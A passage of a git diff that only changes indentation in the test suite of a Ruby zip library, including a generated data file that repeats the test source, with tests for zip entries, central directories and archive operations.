+783,9 @@ class ZipOutputStreamTest < RUNIT::TestCase zos = ZipOutputStream.open(name) rescue Exception assert($!.kind_of?(Errno::EISDIR) || # Linux - $!.kind_of?(Errno::EEXIST) || # Windows/cygwin - $!.kind_of?(Errno::EACCES), # Windows - "Expected Errno::EISDIR (or on win/cygwin: Errno::EEXIST), but was: #{$!.type}") + $!.kind_of?(Errno::EEXIST) || # Windows/cygwin + $!.kind_of?(Errno::EACCES), # Windows + "Expected Errno::EISDIR (or on win/cygwin: Errno::EEXIST), but was: #{$!.type}") end end @@ -902,9 +902,9 @@ class ZipCentralDirectoryTest < RUNIT::TestCase assert_equals(TestZipFile::TEST_ZIP2.entryNames.size, cdir.size) assert(cdir.compareEnumerables(TestZipFile::TEST_ZIP2.entryNames) { - |cdirEntry, testEntryName| - cdirEntry.name == testEntryName - }) + |cdirEntry, testEntryName| + cdirEntry.name == testEntryName + }) assert_equals(TestZipFile::TEST_ZIP2.comment, cdir.comment) } end @@ -944,24 +944,24 @@ class ZipCentralDirectoryTest < RUNIT::TestCase def test_equality cdir1 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "my zip comment") + "somethingExtra"), + ZipEntry.new("file.zip", "secondEntryName"), + ZipEntry.new("file.zip", "lastEntry.txt") ], + "my zip comment") cdir2 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "my zip comment") + "somethingExtra"), + ZipEntry.new("file.zip", "secondEntryName"), + ZipEntry.new("file.zip", "lastEntry.txt") ], + "my zip comment") cdir3 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "comment?") + "somethingExtra"), + ZipEntry.new("file.zip", "secondEntryName"), + ZipEntry.new("file.zip", "lastEntry.txt") ], + "comment?") cdir4 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "comment?") + "somethingExtra"), + ZipEntry.new("file.zip", "lastEntry.txt") ], + "comment?") assert_equals(cdir1, cdir1) assert_equals(cdir1, cdir2) @@ -1013,7 +1013,7 @@ class BasicZipFileTest < RUNIT::TestCase @zipFile.each { |entry| assertEntry(nextTestEntryName, @zipFile.getInputStream(entry), - entry.name) + entry.name) } assert_equals(4, @testEntryNameIndex) end @@ -1023,8 +1023,8 @@ class BasicZipFileTest < RUNIT::TestCase @zipFile.getInputStream(fileAndEntryName) { |zis| assertEntryContentsForStream(fileAndEntryName, - zis, - fileAndEntryName) + zis, + fileAndEntryName) } end end @@ -1070,14 +1070,14 @@ class ZipFileTest < CommonZipFileFixture assert_equals(1, zfRead.entries.length) assert_equals(entryName, zfRead.entries.first.name) AssertEntry.assertContents(srcFile, - zfRead.getInputStream(entryName) { |zis| zis.read }) + zfRead.getInputStream(entryName) { |zis| zis.read }) end def test_addExistingEntryName assert_exception(ZipEntryExistsError) { ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.add(zf.entries.first.name, "ziptest.rb") + |zf| + zf.add(zf.entries.first.name, "ziptest.rb") } } end @@ -1153,8 +1153,8 @@ class ZipFileTest < CommonZipFileFixture assert_exception(ZipEntryExistsError) { ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.rename(zf.entries[0], zf.entries[1].name) + |zf| + zf.rename(zf.entries[0], zf.entries[1].name) } } @@ -1179,7 +1179,7 @@ class ZipFileTest < CommonZipFileFixture ZipFile.open(TEST_ZIP.zipName) { |zf| assert_equals(oldEntries.map{ |e| e.name }, - zf.entries.map{ |e| e.name }) + zf.entries.map{ |e| e.name }) } end @@ -1219,7 +1219,7 @@ class ZipFileTest < CommonZipFileFixture zfRead = ZipFile.new(TEST_ZIP.zipName) AssertEntry::assertContents(newEntrySrcFilename, - zfRead.getInputStream(entryToReplace) { |is| is.read }) + zfRead.getInputStream(entryToReplace) { |is| is.read }) zfRead.close end @@ -1228,7 +1228,7 @@ class ZipFileTest < CommonZipFileFixture ZipFile.open(TEST_ZIP.zipName) { |zf| assert_exception(ZipNoSuchEntryError) { - zf.replace(entryToReplace, "ziptest.rb") + zf.replace(entryToReplace, "ziptest.rb") } } end @@ -1278,16 +1278,16 @@ class ZipFileTest < CommonZipFileFixture assertNotContains(zf, TestFiles::RANDOM_ASCII_FILE1) zf.add(TestFiles::RANDOM_ASCII_FILE1, - TestFiles::RANDOM_ASCII_FILE1) + TestFiles::RANDOM_ASCII_FILE1) assertContains(zf, TestFiles::RANDOM_ASCII_FILE1) zf.rename(zf.entries[0], renamedName) assertContains(zf, renamedName) TestFiles::BINARY_TEST_FILES.each { - |filename| - zf.add(filename, filename) - assertContains(zf, filename) + |filename| + zf.add(filename, filename) + assertContains(zf, filename) } assertContains(zf, originalEntries.last.to_s) @@ -1302,8 +1302,8 @@ class ZipFileTest < CommonZipFileFixture assertContains(zfRead, TestFiles::RANDOM_ASCII_FILE1) assertContains(zfRead, renamedName) TestFiles::BINARY_TEST_FILES.each { - |filename| - assertContains(zfRead, filename) + |filename| + assertContains(zfRead, filename) } assertNotContains(zfRead, originalEntries.last.to_s) ensure @@ -1317,16 +1317,16 @@ class ZipFileTest < CommonZipFileFixture originalEntries = zf.entries.dup originalEntries.each { - |entry| - zf.remove(entry) - assertNotContains(zf, entry) + |entry| + zf.remove(entry) + assertNotContains(zf, entry) } assert(zf.entries.empty?) TestFiles::ASCII_TEST_FILES.each { - |filename| - zf.add(filename, filename) - assertContains(zf, filename) + |filename| + zf.add(filename, filename) + assertContains(zf, filename) } assert_equals(zf.entries.map { |e| e.name }, TestFiles::ASCII_TEST_FILES) @@ -1341,8 +1341,8 @@ class ZipFileTest < CommonZipFileFixture asciiTestFiles = TestFiles::ASCII_TEST_FILES.dup asciiTestFiles.shift asciiTestFiles.each { - |filename| - assertContains(zf, filename) + |filename| + assertContains(zf, filename) } assertContains(zf, "newName") @@ -1378,7 +1378,7 @@ class ZipFileExtractTest < CommonZipFileFixture assert(File.exists? EXTRACTED_FILENAME) AssertEntry::assertContents(EXTRACTED_FILENAME, - zf.getInputStream(ENTRY_TO_EXTRACT) { |is| is.read }) + zf.getInputStream(ENTRY_TO_EXTRACT) { |is| is.read }) } end @@ -1388,8 +1388,8 @@ class ZipFileExtractTest < CommonZipFileFixture assert_exception(ZipDestinationFileExistsError) { ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.extract(zf.entries.first, EXTRACTED_FILENAME) + |zf| + zf.extract(zf.entries.first, EXTRACTED_FILENAME) } } File.open(EXTRACTED_FILENAME, "r") { @@ -1491,9 +1491,9 @@ end TestFiles::createTestFiles(ARGV.index("recreate") != nil || - ARGV.index("recreateonly") != nil) + ARGV.index("recreateonly") != nil) TestZipFile::createTestZips(ARGV.index("recreate") != nil || - ARGV.index("recreateonly") != nil) + ARGV.index("recreateonly") != nil) exit if ARGV.index("recreateonly") != nil #require 'runit/cui/testrunner' diff --git a/lib/zip/test/data/generated/longAscii.txt b/lib/zip/test/data/generated/longAscii.txt index 05259899a9..91e1cc1ce0 100644 --- a/lib/zip/test/data/generated/longAscii.txt +++ b/lib/zip/test/data/generated/longAscii.txt @@ -90,13 +90,13 @@ class ZipEntryTest < RUNIT::TestCase def test_constructorAndGetters entry = ZipEntry.new(TEST_ZIPFILE, - TEST_NAME, - TEST_COMMENT, - TEST_EXTRA, - TEST_COMPRESSED_SIZE, - TEST_CRC, - TEST_COMPRESSIONMETHOD, - TEST_SIZE) + TEST_NAME, + TEST_COMMENT, + TEST_EXTRA, + TEST_COMPRESSED_SIZE, + TEST_CRC, + TEST_COMPRESSIONMETHOD, + TEST_SIZE) assert_equals(TEST_COMMENT, entry.comment) assert_equals(TEST_COMPRESSED_SIZE, entry.compressedSize) @@ -110,29 +110,29 @@ class ZipEntryTest < RUNIT::TestCase def test_equality entry1 = ZipEntry.new("file.zip", "name", "isNotCompared", - "something extra", 123, 1234, - ZipEntry::DEFLATED, 10000) + "something extra", 123, 1234, + ZipEntry::DEFLATED, 10000) entry2 = ZipEntry.new("file.zip", "name", "isNotComparedXXX", - "something extra", 123, 1234, - ZipEntry::DEFLATED, 10000) + "something extra", 123, 1234, + ZipEntry::DEFLATED, 10000) entry3 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extra", 123, 1234, - ZipEntry::DEFLATED, 10000) + "something extra", 123, 1234, + ZipEntry::DEFLATED, 10000) entry4 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 123, 1234, - ZipEntry::DEFLATED, 10000) + "something extraXX", 123, 1234, + ZipEntry::DEFLATED, 10000) entry5 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 1234, - ZipEntry::DEFLATED, 10000) + "something extraXX", 12, 1234, + ZipEntry::DEFLATED, 10000) entry6 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 123, - ZipEntry::DEFLATED, 10000) + "something extraXX", 12, 123, + ZipEntry::DEFLATED, 10000) entry7 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 123, - ZipEntry::STORED, 10000) + "something extraXX", 12, 123, + ZipEntry::STORED, 10000) entry8 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 123, - ZipEntry::STORED, 100000) + "something extraXX", 12, 123, + ZipEntry::STORED, 100000) assert_equals(entry1, entry1) assert_equals(entry1, entry2) @@ -223,8 +223,8 @@ class ZipLocalEntryTest < RUNIT::TestCase def test_writeEntry entry = ZipEntry.new("file.zip", "entryName", "my little comment", - "thisIsSomeExtraInformation", 100, 987654, - ZipEntry::DEFLATED, 400) + "thisIsSomeExtraInformation", 100, 987654, + ZipEntry::DEFLATED, 400) writeToFile("localEntryHeader.bin", "centralEntryHeader.bin", entry) entryReadLocal, entryReadCentral = readFromFile("localEntryHeader.bin", "centralEntryHeader.bin") compareLocalEntryHeaders(entry, entryReadLocal) @@ -326,13 +326,13 @@ module AssertEntry expected = file.read actual = zis.read if (expected != actual) - if (expected.length > 400 || actual.length > 400) - zipEntryFilename=entryName+".zipEntry" - File.open(zipEntryFilename, "wb") { |file| file << actual } - fail("File '#{filename}' is different from '#{zipEntryFilename}'") - else - assert_equals(expected, actual) - end + if (expected.length > 400 || actual.length > 400) + zipEntryFilename=entryName+".zipEntry" + File.open(zipEntryFilename, "wb") { |file| file << actual } + fail("File '#{filename}' is different from '#{zipEntryFilename}'") + else + assert_equals(expected, actual) + end end } end @@ -342,11 +342,11 @@ module AssertEntry File.open(filename, "rb") { |f| fileContents = f.read } if (fileContents != aString) if (expected.length > 400 || actual.length > 400) - stringFile = filename + ".other" - File.open(stringFile, "wb") { |f| f << aString } - fail("File '#{filename}' is different from contents of string stored in '#{stringFile}'") + stringFile = filename + ".other" + File.open(stringFile, "wb") { |f| f << aString } + fail("File '#{filename}' is different from contents of string stored in '#{stringFile}'") else - assert_equals(expected, actual) + assert_equals(expected, actual) end end end @@ -435,16 +435,16 @@ class TestFiles def TestFiles.createTestFiles(recreate) if (recreate || - ! (TEST_FILES.inject(true) { |accum, element| accum && File.exists?(element) })) + ! (TEST_FILES.inject(true) { |accum, element| accum && File.exists?(element) })) ASCII_TEST_FILES.each_with_index { - |filename, index| - createRandomAscii(filename, 1E4 * (index+1)) + |filename, index| + createRandomAscii(filename, 1E4 * (index+1)) } BINARY_TEST_FILES.each_with_index { - |filename, index| - createRandomBinary(filename, 1E4 * (index+1)) + |filename, index| + createRandomBinary(filename, 1E4 * (index+1)) } ensureDir(EMPTY_TEST_DIR) @@ -456,7 +456,7 @@ class TestFiles File.open(filename, "wb") { |file| while (file.tell < size) - file << rand + file << rand end } end @@ -465,7 +465,7 @@ class TestFiles File.open(filename, "wb") { |file| while (file.tell < size) - file << rand.to_a.pack("V") + file << rand.to_a.pack("V") end } end @@ -494,18 +494,18 @@ class TestZipFile def TestZipFile.createTestZips(recreate) files = Dir.entries(".") if (recreate || - ! (files.index(TEST_ZIP1.zipName) && - files.index(TEST_ZIP2.zipName) && - files.index(TEST_ZIP3.zipName) && - files.index(TEST_ZIP4.zipName) && - files.index("empty.txt") && - files.index("short.txt") && - files.index("longAscii.txt") && - files.index("longBinary.bin") )) + ! (files.index(TEST_ZIP1.zipName) && + files.index(TEST_ZIP2.zipName) && + files.index(TEST_ZIP3.zipName) && + files.index(TEST_ZIP4.zipName) && + files.index("empty.txt") && + files.index("short.txt") && + files.index("longAscii.txt") && + files.index("longBinary.bin") )) raise "failed to create test zip '#{TEST_ZIP1.zipName}'" unless - system("zip #{TEST_ZIP1.zipName} ziptest.rb") + system("zip #{TEST_ZIP1.zipName} ziptest.rb") raise "failed to remove entry from '#{TEST_ZIP1.zipName}'" unless - system("zip #{TEST_ZIP1.zipName} -d ziptest.rb") + system("zip #{TEST_ZIP1.zipName} -d ziptest.rb") File.open("empty.txt", "w") {} @@ -513,10 +513,10 @@ class TestZipFile ziptestTxt="" File.open("ziptest.rb") { |file| ziptestTxt=file.read } File.open("longAscii.txt", "w") { - |file| - while (file.tell < 1E5) - file << ziptestTxt - end + |file| + while (file.tell < 1E5) + file << ziptestTxt + end } testBinaryPattern="" @@ -524,24 +524,24 @@ class TestZipFile testBinaryPattern *= 4 File.open("longBinary.bin", "wb") { - |file| - while (file.tell < 3E5) - file << testBinaryPattern << rand - end + |file| + while (file.tell < 3E5) + file << testBinaryPattern << rand + end } raise "failed to create test zip '#{TEST_ZIP2.zipName}'" unless - system("zip #{TEST_ZIP2.zipName} #{TEST_ZIP2.entryNames.join(' ')}") + system("zip #{TEST_ZIP2.zipName} #{TEST_ZIP2.entryNames.join(' ')}") # without bash system interprets everything after echo as parameters to # echo including | zip -z ... raise "failed to add comment to test zip '#{TEST_ZIP2.zipName}'" unless - system("bash -c \"echo #{TEST_ZIP2.comment} | zip -z #{TEST_ZIP2.zipName}\"") + system("bash -c \"echo #{TEST_ZIP2.comment} | zip -z #{TEST_ZIP2.zipName}\"") raise "failed to create test zip '#{TEST_ZIP3.zipName}'" unless - system("zip #{TEST_ZIP3.zipName} #{TEST_ZIP3.entryNames.join(' ')}") + system("zip #{TEST_ZIP3.zipName} #{TEST_ZIP3.entryNames.join(' ')}") raise "failed to create test zip '#{TEST_ZIP4.zipName}'" unless - system("zip #{TEST_ZIP4.zipName} #{TEST_ZIP4.entryNames.join(' ')}") + system("zip #{TEST_ZIP4.zipName} #{TEST_ZIP4.entryNames.join(' ')}") end rescue raise $!.to_s + @@ -552,10 +552,10 @@ class TestZipFile TEST_ZIP1 = TestZipFile.new("empty.zip", []) TEST_ZIP2 = TestZipFile.new("4entry.zip", %w{ longAscii.txt empty.txt short.txt longBinary.bin}, - "my zip comment") + "my zip comment") TEST_ZIP3 = TestZipFile.new("test1.zip", %w{ file1.txt }) TEST_ZIP4 = TestZipFile.new("zipWithDir.zip", [ "file1.txt", - TestFiles::EMPTY_TEST_DIR]) + TestFiles::EMPTY_TEST_DIR]) end @@ -783,9 +783,9 @@ class ZipOutputStreamTest < RUNIT::TestCase zos = ZipOutputStream.open(name) rescue Exception assert($!.kind_of?(Errno::EISDIR) || # Linux - $!.kind_of?(Errno::EEXIST) || # Windows/cygwin - $!.kind_of?(Errno::EACCES), # Windows - "Expected Errno::EISDIR (or on win/cygwin: Errno::EEXIST), but was: #{$!.type}") + $!.kind_of?(Errno::EEXIST) || # Windows/cygwin + $!.kind_of?(Errno::EACCES), # Windows + "Expected Errno::EISDIR (or on win/cygwin: Errno::EEXIST), but was: #{$!.type}") end end @@ -902,9 +902,9 @@ class ZipCentralDirectoryTest < RUNIT::TestCase assert_equals(TestZipFile::TEST_ZIP2.entryNames.size, cdir.size) assert(cdir.compareEnumerables(TestZipFile::TEST_ZIP2.entryNames) { - |cdirEntry, testEntryName| - cdirEntry.name == testEntryName - }) + |cdirEntry, testEntryName| + cdirEntry.name == testEntryName + }) assert_equals(TestZipFile::TEST_ZIP2.comment, cdir.comment) } end @@ -944,24 +944,24 @@ class ZipCentralDirectoryTest < RUNIT::TestCase def test_equality cdir1 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "my zip comment") + "somethingExtra"), + ZipEntry.new("file.zip", "secondEntryName"), + ZipEntry.new("file.zip", "lastEntry.txt") ], + "my zip comment") cdir2 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "my zip comment") + "somethingExtra"), + ZipEntry.new("file.zip", "secondEntryName"), + ZipEntry.new("file.zip", "lastEntry.txt") ], + "my zip comment") cdir3 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "comment?") + "somethingExtra"), + ZipEntry.new("file.zip", "secondEntryName"), + ZipEntry.new("file.zip", "lastEntry.txt") ], + "comment?") cdir4 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "comment?") + "somethingExtra"), + ZipEntry.new("file.zip", "lastEntry.txt") ], + "comment?") assert_equals(cdir1, cdir1) assert_equals(cdir1, cdir2) @@ -1013,7 +1013,7 @@ class BasicZipFileTest < RUNIT::TestCase @zipFile.each { |entry| assertEntry(nextTestEntryName, @zipFile.getInputStream(entry), - entry.name) + entry.name) } assert_equals(4, @testEntryNameIndex) end @@ -1023,8 +1023,8 @@ class BasicZipFileTest < RUNIT::TestCase @zipFile.getInputStream(fileAndEntryName) { |zis| assertEntryContentsForStream(fileAndEntryName, - zis, - fileAndEntryName) + zis, + fileAndEntryName) } end end @@ -1070,14 +1070,14 @@ class ZipFileTest < CommonZipFileFixture assert_equals(1, zfRead.entries.length) assert_equals(entryName, zfRead.entries.first.name) AssertEntry.assertContents(srcFile, - zfRead.getInputStream(entryName) { |zis| zis.read }) + zfRead.getInputStream(entryName) { |zis| zis.read }) end def test_addExistingEntryName assert_exception(ZipEntryExistsError) { ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.add(zf.entries.first.name, "ziptest.rb") + |zf| + zf.add(zf.entries.first.name, "ziptest.rb") } } end @@ -1153,8 +1153,8 @@ class ZipFileTest < CommonZipFileFixture assert_exception(ZipEntryExistsError) { ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.rename(zf.entries[0], zf.entries[1].name) + |zf| + zf.rename(zf.entries[0], zf.entries[1].name) } } @@ -1179,7 +1179,7 @@ class ZipFileTest < CommonZipFileFixture ZipFile.open(TEST_ZIP.zipName) { |zf| assert_equals(oldEntries.map{ |e| e.name }, - zf.entries.map{ |e| e.name }) + zf.entries.map{ |e| e.name }) } end @@ -1219,7 +1219,7 @@ class ZipFileTest < CommonZipFileFixture zfRead = ZipFile.new(TEST_ZIP.zipName) AssertEntry::assertContents(newEntrySrcFilename, - zfRead.getInputStream(entryToReplace) { |is| is.read }) + zfRead.getInputStream(entryToReplace) { |is| is.read }) zfRead.close end @@ -1228,7 +1228,7 @@ class ZipFileTest < CommonZipFileFixture ZipFile.open(TEST_ZIP.zipName) { |zf| assert_exception(ZipNoSuchEntryError) { - zf.replace(entryToReplace, "ziptest.rb") + zf.replace(entryToReplace, "ziptest.rb") } } end @@ -1278,16 +1278,16 @@ class ZipFileTest < CommonZipFileFixture assertNotContains(zf, TestFiles::RANDOM_ASCII_FILE1) zf.add(TestFiles::RANDOM_ASCII_FILE1, - TestFiles::RANDOM_ASCII_FILE1) + TestFiles::RANDOM_ASCII_FILE1) assertContains(zf, TestFiles::RANDOM_ASCII_FILE1) zf.rename(zf.entries[0], renamedName) assertContains(zf, renamedName) TestFiles::BINARY_TEST_FILES.each { - |filename| - zf.add(filename, filename) - assertContains(zf, filename) + |filename| + zf.add(filename, filename) + assertContains(zf, filename) } assertContains(zf, originalEntries.last.to_s) @@ -1302,8 +1302,8 @@ class ZipFileTest < CommonZipFileFixture assertContains(zfRead, TestFiles::RANDOM_ASCII_FILE1) assertContains(zfRead, renamedName) TestFiles::BINARY_TEST_FILES.each { - |filename| - assertContains(zfRead, filename) + |filename| + assertContains(zfRead, filename) } assertNotContains(zfRead, originalEntries.last.to_s) ensure @@ -1317,16 +1317,16 @@ class ZipFileTest < CommonZipFileFixture originalEntries = zf.entries.dup originalEntries.each { - |entry| - zf.remove(entry) - assertNotContains(zf, entry) + |entry| + zf.remove(entry) + assertNotContains(zf, entry) } assert(zf.entries.empty?) TestFiles::ASCII_TEST_FILES.each { - |filename| - zf.add(filename, filename) - assertContains(zf, filename) + |filename| + zf.add(filename, filename) + assertContains(zf, filename) } assert_equals(zf.entries.map { |e| e.name }, TestFiles::ASCII_TEST_FILES) @@ -1341,8 +1341,8 @@ class ZipFileTest < CommonZipFileFixture asciiTestFiles = TestFiles::ASCII_TEST_FILES.dup asciiTestFiles.shift asciiTestFiles.each { - |filename| - assertContains(zf, filename) + |filename| + assertContains(zf, filename) } assertContains(zf, "newName") @@ -1378,7 +1378,7 @@ class ZipFileExtractTest < CommonZipFileFixture assert(File.exists? EXTRACTED_FILENAME) AssertEntry::assertContents(EXTRACTED_FILENAME, - zf.getInputStream(ENTRY_TO_EXTRACT) { |is| is.read }) + zf.getInputStream(ENTRY_TO_EXTRACT) { |is| is.read }) } end @@ -1388,8 +1388,8 @@ class ZipFileExtractTest < CommonZipFileFixture assert_exception(ZipDestinationFileExistsError) { ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.extract(zf.entries.first, EXTRACTED_FILENAME) + |zf| + zf.extract(zf.entries.first, EXTRACTED_FILENAME) } } File.open(EXTRACTED_FILENAME, "r") { @@ -1491,9 +1491,9 @@ end TestFiles::createTestFiles(ARGV.index("recreate") != nil || - ARGV.index("recreateonly") != nil) + ARGV.index("recreateonly") != nil) TestZipFile::createTestZips(ARGV.index("recreate") != nil || - ARGV.index("recreateonly") != nil) + ARGV.index("recreateonly") != nil) exit if ARGV.index("recreateonly") != nil #require 'runit/cui/testrunner' @@ -1594,13 +1594,13 @@ class ZipEntryTest < RUNIT::TestCase def test_constructorAndGetters entry = ZipEntry.new(TEST_ZIPFILE, - TEST_NAME, - TEST_COMMENT, - TEST_EXTRA, - TEST_COMPRESSED_SIZE, - TEST_CRC, - TEST_COMPRESSIONMETHOD, - TEST_SIZE) + TEST_NAME, + TEST_COMMENT, + TEST_EXTRA, + TEST_COMPRESSED_SIZE, + TEST_CRC, + TEST_COMPRESSIONMETHOD, + TEST_SIZE) assert_equals(TEST_COMMENT, entry.comment) assert_equals(TEST_COMPRESSED_SIZE, entry.compressedSize) @@ -1614,29 +1614,29 @@ class ZipEntryTest < RUNIT::TestCase def test_equality entry1 = ZipEntry.new("file.zip", "name", "isNotCompared", - "something extra", 123, 1234, - ZipEntry::DEFLATED, 10000) + "something extra", 123, 1234, + ZipEntry::DEFLATED, 10000) entry2 = ZipEntry.new("file.zip", "name", "isNotComparedXXX", - "something extra", 123, 1234, - ZipEntry::DEFLATED, 10000) + "something extra", 123, 1234, + ZipEntry::DEFLATED, 10000) entry3 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extra", 123, 1234, - ZipEntry::DEFLATED, 10000) + "something extra", 123, 1234, + ZipEntry::DEFLATED, 10000) entry4 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 123, 1234, - ZipEntry::DEFLATED, 10000) + "something extraXX", 123, 1234, + ZipEntry::DEFLATED, 10000) entry5 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 1234, - ZipEntry::DEFLATED, 10000) + "something extraXX", 12, 1234, + ZipEntry::DEFLATED, 10000) entry6 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 123, - ZipEntry::DEFLATED, 10000) + "something extraXX", 12, 123, + ZipEntry::DEFLATED, 10000) entry7 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 123, - ZipEntry::STORED, 10000) + "something extraXX", 12, 123, + ZipEntry::STORED, 10000) entry8 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 123, - ZipEntry::STORED, 100000) + "something extraXX", 12, 123, + ZipEntry::STORED, 100000) assert_equals(entry1, entry1) assert_equals(entry1, entry2) @@ -1727,8 +1727,8 @@ class ZipLocalEntryTest < RUNIT::TestCase def test_writeEntry entry = ZipEntry.new("file.zip", "entryName", "my little comment", - "thisIsSomeExtraInformation", 100, 987654, - ZipEntry::DEFLATED, 400) + "thisIsSomeExtraInformation", 100, 987654, + ZipEntry::DEFLATED, 400) writeToFile("localEntryHeader.bin", "centralEntryHeader.bin", entry) entryReadLocal, entryReadCentral = readFromFile("localEntryHeader.bin", "centralEntryHeader.bin") compareLocalEntryHeaders(entry, entryReadLocal) @@ -1830,13 +1830,13 @@ module AssertEntry expected = file.read actual = zis.read if (expected != actual) - if (expected.length > 400 || actual.length > 400) - zipEntryFilename=entryName+".zipEntry" - File.open(zipEntryFilename, "wb") { |file| file << actual } - fail("File '#{filename}' is different from '#{zipEntryFilename}'") - else - assert_equals(expected, actual) - end + if (expected.length > 400 || actual.length > 400) + zipEntryFilename=entryName+".zipEntry" + File.open(zipEntryFilename, "wb") { |file| file << actual } + fail("File '#{filename}' is different from '#{zipEntryFilename}'") + else + assert_equals(expected, actual) + end end } end @@ -1846,11 +1846,11 @@ module AssertEntry File.open(filename, "rb") { |f| fileContents = f.read } if (fileContents != aString) if (expected.length > 400 || actual.length > 400) - stringFile = filename + ".other" - File.open(stringFile, "wb") { |f| f << aString } - fail("File '#{filename}' is different from contents of string stored in '#{stringFile}'") + stringFile = filename + ".other" + File.open(stringFile, "wb") { |f| f << aString } + fail("File '#{filename}' is different from contents of string stored in '#{stringFile}'") else - assert_equals(expected, actual) + assert_equals(expected, actual) end end end @@ -1939,16 +1939,16 @@ class TestFiles def TestFiles.createTestFiles(recreate) if (recreate || - ! (TEST_FILES.inject(true) { |accum, element| accum && File.exists?(element) })) + ! (TEST_FILES.inject(true) { |accum, element| accum && File.exists?(element) })) ASCII_TEST_FILES.each_with_index { - |filename, index| - createRandomAscii(filename, 1E4 * (index+1)) + |filename, index| + createRandomAscii(filename, 1E4 * (index+1)) } BINARY_TEST_FILES.each_with_index { - |filename, index| - createRandomBinary(filename, 1E4 * (index+1)) + |filename, index| + createRandomBinary(filename, 1E4 * (index+1)) } ensureDir(EMPTY_TEST_DIR) @@ -1960,7 +1960,7 @@ class TestFiles File.open(filename, "wb") { |file| while (file.tell < size) - file << rand + file << rand end } end @@ -1969,7 +1969,7 @@ class TestFiles File.open(filename, "wb") { |file| while (file.tell < size) - file << rand.to_a.pack("V") + file << rand.to_a.pack("V") end } end @@ -1998,18 +1998,18 @@ class TestZipFile def TestZipFile.createTestZips(recreate) files = Dir.entries(".") if (recreate || - ! (files.index(TEST_ZIP1.zipName) && - files.index(TEST_ZIP2.zipName) && - files.index(TEST_ZIP3.zipName) && - files.index(TEST_ZIP4.zipName) && - files.index("empty.txt") && - files.index("short.txt") && - files.index("longAscii.txt") && - files.index("longBinary.bin") )) + ! (files.index(TEST_ZIP1.zipName) && + files.index(TEST_ZIP2.zipName) && + files.index(TEST_ZIP3.zipName) && + files.index(TEST_ZIP4.zipName) && + files.index("empty.txt") && + files.index("short.txt") && + files.index("longAscii.txt") && + files.index("longBinary.bin") )) raise "failed to create test zip '#{TEST_ZIP1.zipName}'" unless - system("zip #{TEST_ZIP1.zipName} ziptest.rb") + system("zip #{TEST_ZIP1.zipName} ziptest.rb") raise "failed to remove entry from '#{TEST_ZIP1.zipName}'" unless - system("zip #{TEST_ZIP1.zipName} -d ziptest.rb") + system("zip #{TEST_ZIP1.zipName} -d ziptest.rb") File.open("empty.txt", "w") {} @@ -2017,10 +2017,10 @@ class TestZipFile ziptestTxt="" File.open("ziptest.rb") { |file| ziptestTxt=file.read } File.open("longAscii.txt", "w") { - |file| - while (file.tell < 1E5) - file << ziptestTxt - end + |file| + while (file.tell < 1E5) + file << ziptestTxt + end } testBinaryPattern="" @@ -2028,24 +2028,24 @@ class TestZipFile testBinaryPattern *= 4 File.open("longBinary.bin", "wb") { - |file| - while (file.tell < 3E5) - file << testBinaryPattern << rand - end + |file| + while (file.tell < 3E5) + file << testBinaryPattern << rand + end } raise "failed to create test zip '#{TEST_ZIP2.zipName}'" unless - system("zip #{TEST_ZIP2.zipName} #{TEST_ZIP2.entryNames.join(' ')}") + system("zip #{TEST_ZIP2.zipName} #{TEST_ZIP2.entryNames.join(' ')}") # without bash system interprets everything after echo as parameters to # echo including | zip -z ... raise "failed to add comment to test zip '#{TEST_ZIP2.zipName}'" unless - system("bash -c \"echo #{TEST_ZIP2.comment} | zip -z #{TEST_ZIP2.zipName}\"") + system("bash -c \"echo #{TEST_ZIP2.comment} | zip -z #{TEST_ZIP2.zipName}\"") raise "failed to create test zip '#{TEST_ZIP3.zipName}'" unless - system("zip #{TEST_ZIP3.zipName} #{TEST_ZIP3.entryNames.join(' ')}") + system("zip #{TEST_ZIP3.zipName} #{TEST_ZIP3.entryNames.join(' ')}") raise "failed to create test zip '#{TEST_ZIP4.zipName}'" unless - system("zip 